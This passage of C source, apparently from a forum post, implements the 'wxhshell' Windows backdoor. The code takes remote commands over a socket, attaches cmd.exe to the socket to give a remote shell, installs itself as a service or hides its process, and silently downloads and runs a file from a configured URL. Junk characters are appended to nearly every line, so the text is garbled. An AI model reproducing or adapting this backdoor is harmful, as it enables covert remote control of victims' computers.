B'#4;R!8P=  
    switch(cmd[0]) { iLQSa7  
  )*W=GY*  
  // 帮助 F {/>u(@3  
  case '?': { !G[f[u4Zg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *?p ^6vO  
    break; $r):d  
  } Lz?*B$h  
  // 安装 bw0 20@O*  
  case 'i': { Z,SY N?@  
    if(Install()) (H2ylMpQt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GI?PGAT  
    else i)[kubM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YQx?* gZS  
    break; 1]Lhk?4t  
    } gY%OhYtF2  
  // 卸载 qL,ka  
  case 'r': { V07VwVD  
    if(Uninstall()) @"0uM?_)-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #)FDl70S8  
    else .Nk}Z9L]k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ej{+U  
    break; !. p  
    } hAlPl<BO#V  
  // 显示 wxhshell 所在路径 @]E]W#xAn  
  case 'p': { W w^7^q&  
    char svExeFile[MAX_PATH]; aU4R+.M7@  
    strcpy(svExeFile,"\n\r"); brj[c>ID  
      strcat(svExeFile,ExeFile); ,!r@9T  
        send(wsh,svExeFile,strlen(svExeFile),0); *|^,DGfQ6  
    break; ;}UzJe ,S  
    } L,WkJe3  
  // 重启 'V1!&Q6  
  case 'b': { %pH)paRAP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lS#7x h  
    if(Boot(REBOOT)) X:U=MWc>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }\>+H  
    else { }#&~w 0P  
    closesocket(wsh); sbgJw  
    ExitThread(0); ~};]k}  
    } )=y.^@UT@  
    break; Q*Y 4m8wY  
    } K[*h+YO  
  // 关机 zUJx&5/  
  case 'd': { i},d[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;4l-M2  
    if(Boot(SHUTDOWN)) fjcr<&{:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'frWu6]< 4  
    else { q?(A!1(u  
    closesocket(wsh); }M^_Z#|,  
    ExitThread(0); xUQdVrFU  
    } z1kBNOr  
    break; g ,`F<CF9  
    } QjI#Cs}w  
  // 获取shell j{)fC]8H  
  case 's': { l},dQ4R  
    CmdShell(wsh); y?"$(%3|  
    closesocket(wsh); pa> p%  
    ExitThread(0); axOi 5  
    break; W8< @sq~I  
  } .#"1bRWpZ  
  // 退出 w<Zdq}{jO  
  case 'x': { ?n2C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *3 !(*F@M,  
    CloseIt(wsh); X {#bJ  
    break; (Z5q&#f  
    } MST:.x ;  
  // 离开 h|K\z{ A  
  case 'q': { vz- 9<w;>a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yq1Gqbh l  
    closesocket(wsh); qI(W$  
    WSACleanup(); *+NGi(N  
    exit(1); aXQ&@BZ {j  
    break; AbL5 !'  
        } m\_+)eI|  
  } 7F"3<U@J  
  } 3(MoXA*  
>ze>Xr'm5=  
  // 提示信息 BHEs+ e0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4A;[s m^f  
} dUI3erO  
  } Rk}\)r\  
MgHOj   
  return; mluW=fE  
} p 7 , f6kG  
f+{c1fb>s  
// shell模块句柄 ur?d6 a  
int CmdShell(SOCKET sock) n; Lo  
{ v hRu `Yb  
STARTUPINFO si; @mvIt  
ZeroMemory(&si,sizeof(si)); zB;'_[8M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AU3auBol ^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Jw2B&)k/  
PROCESS_INFORMATION ProcessInfo; MKV=m8G=  
char cmdline[]="cmd"; 2r %>]y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9 aY'0wa  
  return 0; ?$UH9T9)  
} Qk?jGXB>^  
I).=v{@9V<  
// 自身启动模式 &,^mM' C  
int StartFromService(void) NKRaQ r  
{ c'"#q)  
typedef struct ,jAx%]@,I  
{ !>CE(;E>z  
  DWORD ExitStatus; V+Y|4Y&  
  DWORD PebBaseAddress; R 4DM_ u  
  DWORD AffinityMask; mk#>Dpy?  
  DWORD BasePriority; AmP#'U5  
  ULONG UniqueProcessId; ue,#, 3{m  
  ULONG InheritedFromUniqueProcessId; -L+\y\F  
}   PROCESS_BASIC_INFORMATION; OD{5m(JwL  
n;e."^5  
PROCNTQSIP NtQueryInformationProcess; ;7;zhJs1t  
n/ui<&(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,lrYl!,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Tm (Q@  
_Syre6k  
  HANDLE             hProcess; <]Ij(+J;  
  PROCESS_BASIC_INFORMATION pbi; FgXu1-  
='7er.~\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K#_~ !C4L  
  if(NULL == hInst ) return 0; :&xz5c`"04  
D-'i G%)kA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ev~dsk6k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m"96:v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $Sp*)A]E`  
I8 %d;G~  
  if (!NtQueryInformationProcess) return 0; !Sh^LYqn  
h`z2!F4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @WhZx*1  
  if(!hProcess) return 0; Ly#h|)  
~%olCxfO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \;nD)<)J  
6H(fk1E  
  CloseHandle(hProcess); G> f^ 2  
D+bB G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Nr> c'TH  
if(hProcess==NULL) return 0; 4JX`>a{<  
/X(@|tk:  
HMODULE hMod; @N,:x\  
char procName[255]; ;k9 ?  
unsigned long cbNeeded; 3r,1^h  
G3Idxs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y}AmX  
ap Fs UsE  
  CloseHandle(hProcess); *ge].E  
^+(A&PyP?  
if(strstr(procName,"services")) return 1; // 以服务启动 *>H M$.?Q  
"6NFe!/Y$*  
  return 0; // 注册表启动 Dj-\))L  
} o0zc}mm  
;cM8EU^.  
// 主模块 1x~%Ydy  
int StartWxhshell(LPSTR lpCmdLine) $sA,$x:^xI  
{ KzEuPJ?  
  SOCKET wsl; >2l13^Y  
BOOL val=TRUE; l.__10{  
  int port=0; u Y?/B~  
  struct sockaddr_in door; zvek2\*rO  
Q'n(^tbL  
  if(wscfg.ws_autoins) Install(); 4+ASw N9  
oUW )H  
port=atoi(lpCmdLine); nz,Mqol  
>i^y;5  
if(port<=0) port=wscfg.ws_port; -X"5G  
tYI ]LL  
  WSADATA data; V_)5Af3wY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6{JR0  
k#1`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Jngll  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >P6^k!R1y  
  door.sin_family = AF_INET; /'8*aUa  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sqp;/&Ji  
  door.sin_port = htons(port); Q3<bC6$r  
5~_eN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { an*]62l  
closesocket(wsl); 6%\7.h  
return 1; \_*?R,$3Y,  
} X_lUD?y  
O ,F]\  
  if(listen(wsl,2) == INVALID_SOCKET) { { ()p%#*  
closesocket(wsl); t,--V|7-  
return 1; {AU` }*5  
} c,v^A+sZu  
  Wxhshell(wsl); ]jVIpGM  
  WSACleanup(); KKx&UKjV  
SR&(HH$  
return 0; #~bU}[{  
_H~pH7WU  
} @Og\SZhn  
@{J!6YGh  
// 以NT服务方式启动 x&hvFG3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hrd5p+j  
{ OPvj{Dv$0  
DWORD   status = 0; d-6sC@PB  
  DWORD   specificError = 0xfffffff; 2ru*#Z#(  
&^CL] &/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]Ks]B2Osz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B$}wF<`k7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8! |.H p  
  serviceStatus.dwWin32ExitCode     = 0; EmtDrx4!(f  
  serviceStatus.dwServiceSpecificExitCode = 0; kcq9p2zKv  
  serviceStatus.dwCheckPoint       = 0; >:Rt>po8|w  
  serviceStatus.dwWaitHint       = 0; z")3_5Br  
p0}+071o%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >cwJl@wx-  
  if (hServiceStatusHandle==0) return; 8k+q7  
vh1 Ma<cx  
status = GetLastError(); p^pQZ6-  
  if (status!=NO_ERROR) "VT{1(]t  
{ OCbQB5k3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nhVK?  
    serviceStatus.dwCheckPoint       = 0; TnvHO_P,  
    serviceStatus.dwWaitHint       = 0; kbIY%\QSO  
    serviceStatus.dwWin32ExitCode     = status; JEK%yMj  
    serviceStatus.dwServiceSpecificExitCode = specificError; F"B<R~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sa h<sb=  
    return; 6i9Q ,4~  
  } 0UM@L }L  
K^z5x#Yj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x*,q Rew  
  serviceStatus.dwCheckPoint       = 0; %8Z|/LGg  
  serviceStatus.dwWaitHint       = 0; Pqr Ou  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7':5  
} (]zl$*k  
ND9 n1WZ&x  
// 处理NT服务事件,比如:启动、停止 u):%5F/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mC{!8WC@k  
{ wS F!Xx0  
switch(fdwControl) #K<=xP  
{ uZqu xu.  
case SERVICE_CONTROL_STOP: z. _C*c  
  serviceStatus.dwWin32ExitCode = 0; ?{@!!te@3v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i#@v_^q  
  serviceStatus.dwCheckPoint   = 0; \jF" nl  
  serviceStatus.dwWaitHint     = 0; vc>^.#7   
  { ??$i*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BRo R"#'  
  } IEIxjek  
  return; P\*2c*,W;  
case SERVICE_CONTROL_PAUSE: W G3mQ\k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]zhq.O >2{  
  break; V:,3OLL*  
case SERVICE_CONTROL_CONTINUE: .  T6_N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8r`VbgI&  
  break; =\ Tud-1Z  
case SERVICE_CONTROL_INTERROGATE: W[[YOK1T  
  break; l(k rUv  
}; &P,4EaC9;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =B/s H N  
} (?*mh?  
Y-neD?VN  
// 标准应用程序主函数 LhVLsa(-%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DiGUxnP  
{ dFI.`pB  
:N*q;j>  
// 获取操作系统版本 y:i[~y  
OsIsNt=GetOsVer(); 5fvUv"m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +e\:C~2f28  
Q?Bj q>  
  // 从命令行安装 _Ssv:x c,  
  if(strpbrk(lpCmdLine,"iI")) Install(); %b-;Rn  
Fu1|b2B-x  
  // 下载执行文件 XqE55Jclp  
if(wscfg.ws_downexe) { TeGLAt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6bRQL}[  
  WinExec(wscfg.ws_filenam,SW_HIDE); k<j)?_=`  
} \K_!d]I {  
T,xVQ4J?  
if(!OsIsNt) { fr,CH{Uq  
// 如果时win9x,隐藏进程并且设置为注册表启动 VxPTh\O*[  
HideProc(); Y00i{/a 8  
StartWxhshell(lpCmdLine); bAy5/G!_R  
} st'?3A  
else nI|Lx`*v  
  if(StartFromService()) HkfSx rTgQ  
  // 以服务方式启动 QAOk  
  StartServiceCtrlDispatcher(DispatchTable); R+ #.bQg  
else @0/@p"j  
  // 普通方式启动 O w($\,  
  StartWxhshell(lpCmdLine); g1hg`qBBW  
&23ss/  
return 0; L3G)?rPFC#  
}
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只看该作者 1 发表于: 2006-10-10
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